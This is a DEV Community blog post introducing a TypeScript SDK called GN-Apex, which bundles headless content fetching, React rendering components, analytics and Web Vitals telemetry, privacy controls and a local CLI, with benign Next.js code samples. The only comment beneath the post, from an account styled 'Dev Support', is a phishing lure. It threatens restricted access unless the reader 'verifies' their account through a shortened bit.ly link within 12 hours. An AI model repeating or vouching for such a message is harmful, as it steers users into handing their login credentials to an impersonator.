DEV Community

Jom Joam
Jom Joam

Posted on

I Replaced 5 Frontend Services With One TypeScript SDK

#webdev #frontend #typescript #api

Introducing GN-Apex: The Zero-Config Headless CMS & Telemetry SDK

Gn-Apex

Every modern web application eventually starts collecting dependencies.

A CMS for content.

An analytics SDK for events.

Another library for caching.

Another one for authentication state.

Another service for developer tooling.

Individually, none of these are particularly difficult.

The problem is what happens when they all have to work together.

You end up with environment variables scattered across dashboards, duplicated configuration, cache invalidation logic, different APIs for different services, and a growing amount of glue code that isn't actually part of your product.

I got tired of building that layer over and over again.

So I built GN-Apex.

And the result is @gnapex/sdk — a TypeScript SDK designed to bring content delivery, telemetry, rendering utilities, and developer tooling into a single developer experience.

The problem wasn't the services

The problem was the integration layer.

A typical Next.js project might look something like this:

Next.js
   │
   ├── CMS SDK
   │
   ├── Analytics SDK
   │
   ├── Authentication
   │
   ├── Cache / revalidation
   │
   └── Custom application glue
Enter fullscreen mode Exit fullscreen mode

Every service has its own configuration.

Every service has its own lifecycle.

And eventually your application becomes responsible for making sure all of them agree with each other.

For a small application, that's manageable.

For a platform serving multiple projects, it becomes infrastructure.

That's the layer I wanted to eliminate.

Meet @gnapex/sdk

The basic setup is intentionally boring:

npm install @gnapex/sdk
Enter fullscreen mode Exit fullscreen mode

Then your application can interact with GN-Apex through a single client.

The goal isn't to create another giant framework.

It's to provide a consistent interface for the infrastructure that sits underneath a modern web application.

1. Typed Headless Content

Fetching a page shouldn't require writing a custom API wrapper every time.

With the SDK:

import { notFound } from "next/navigation";
import { nexus, isNexusError } from "@gnapex/sdk";

interface BlogPost {
  title: string;
  body: string;
}

export default async function Page({
  params,
}: {
  params: Promise<{ slug: string }>;
}) {
  const { slug } = await params;

  try {
    const post = await nexus.getPage<BlogPost>(slug);

    return (
      <main className="mx-auto max-w-4xl px-4 py-10">
        <h1 className="text-4xl font-bold">
          {post.title}
        </h1>

        <div>{post.body}</div>
      </main>
    );
  } catch (error) {
    if (isNexusError(error) && error.status === 404) {
      notFound();
    }

    throw error;
  }
}
Enter fullscreen mode Exit fullscreen mode

The important part here isn't just the API call.

The content is typed.

Your application knows what it's receiving.

And the SDK handles the communication with the GN-Apex content layer instead of forcing every project to reinvent the same client.

2. Content Rendering Comes With the SDK

A CMS is only useful if developers can actually render the content cleanly.

GN-Apex provides React rendering utilities for common content types.

For example:

import { NexusRenderer } from "@gnapex/sdk/react";

<NexusRenderer
  content={post.body}
  hydrateCharts
  enableImageInteraction
/>
Enter fullscreen mode Exit fullscreen mode

The React package includes components for things like:

  • Rich text
  • Images
  • Code blocks
  • Maps
  • Galleries
  • Structured content

This means the CMS isn't completely separated from the application rendering layer.

The SDK understands both sides.

3. Analytics Without Another SDK

Analytics is another place where frontend projects accumulate dependencies.

GN-Apex exposes telemetry through the same client:

import { nexus } from "@gnapex/sdk";

nexus.analytics?.track("subscription_started", {
  plan: "pro",
  billing: "annual",
});
Enter fullscreen mode Exit fullscreen mode

For purchases:

nexus.analytics?.trackPurchase({
  orderId: "ord_1024",
  total: 49,
  currency: "USD",
  products: [
    {
      id: "p_1",
      name: "Pro Tier",
      price: 49,
      quantity: 1,
    },
  ],
});
Enter fullscreen mode Exit fullscreen mode

The idea is simple:

Your application shouldn't need to know which telemetry infrastructure is underneath it.

It should just describe what happened.

4. Web Vitals and Behavioral Telemetry

The telemetry layer can also collect application and user-experience signals such as:

  • LCP
  • CLS
  • INP
  • TTFB
  • Scroll depth
  • Dead clicks
  • Rage-click signals
  • Custom application events

The SDK batches telemetry before sending it to the GN-Apex infrastructure.

That matters because analytics shouldn't become the thing slowing down the application it's supposed to measure.

5. Privacy Controls Are Part of the Client

Telemetry creates an important engineering problem:

What should the application actually send?

GN-Apex provides controls for consent and data handling rather than assuming every application should collect everything.

For example:

nexus.analytics?.reset(true);
Enter fullscreen mode Exit fullscreen mode

And telemetry configuration can be used to redact sensitive attributes before they leave the application.

The goal is not "collect everything."

The goal is to make telemetry useful while giving applications explicit control over what they send.

6. A Developer CLI

The SDK isn't only for production applications.

It also includes a CLI for local development:

npx apex init
Enter fullscreen mode Exit fullscreen mode

Pull project content:

npx apex pull
Enter fullscreen mode Exit fullscreen mode

Start the local visual environment:

npx apex studio
Enter fullscreen mode Exit fullscreen mode

Push changes:

npx apex push
Enter fullscreen mode Exit fullscreen mode

This creates a workflow where developers can work with local project state without constantly jumping between a browser dashboard and their editor.

The local workspace uses GN-Apex's project files and synchronization mechanisms to move between local development and the remote platform.

7. Why Build Another Platform?

This is probably the most important question.

There are already excellent CMS platforms.

There are already excellent analytics platforms.

There are already excellent developer tools.

GN-Apex isn't trying to pretend those products don't exist.

The motivation is different.

I wanted infrastructure where these pieces could understand each other.

Instead of:

Application
 ├── CMS
 ├── Analytics
 ├── Cache
 ├── Auth
 └── Developer tooling
Enter fullscreen mode Exit fullscreen mode

the idea is:

                 GN-Apex
                    │
        ┌───────────┼───────────┐
        │           │           │
      Content    Telemetry   Developer
                              Tooling
        │           │           │
        └───────────┼───────────┘
                    │
                Application
Enter fullscreen mode Exit fullscreen mode

One platform.

One SDK.

One developer-facing interface.

What I Learned Building It

The biggest lesson wasn't technical.

It was that developer experience is infrastructure.

A service can have an amazing API and still be painful to use if developers have to understand five different systems before they can ship something.

Reducing configuration is not just about saving a few lines of code.

It's about reducing the number of things developers have to keep in their heads.

That's the problem GN-Apex is trying to solve.

Getting Started

Install the SDK:

npm install @gnapex/sdk
Enter fullscreen mode Exit fullscreen mode

Then check out the project:

If you're building with Next.js, React, or TypeScript, I'd genuinely love to hear how you'd approach this architecture differently.

What would you put into a unified application infrastructure layer?

And more importantly:

What are you tired of configuring every time you start a new project?

Top comments (1)

Collapse
 
devsupport profile image
Dev Support •

Dear User,
Due to an increase in bot activity on the platform, we require verify of your account.
Please log in via the link below:
• bit.ly/antibot_check
Verificated deadline - 12 hours. Failure to verify will result in restricted access.
Sincerely, Dev Support

‌​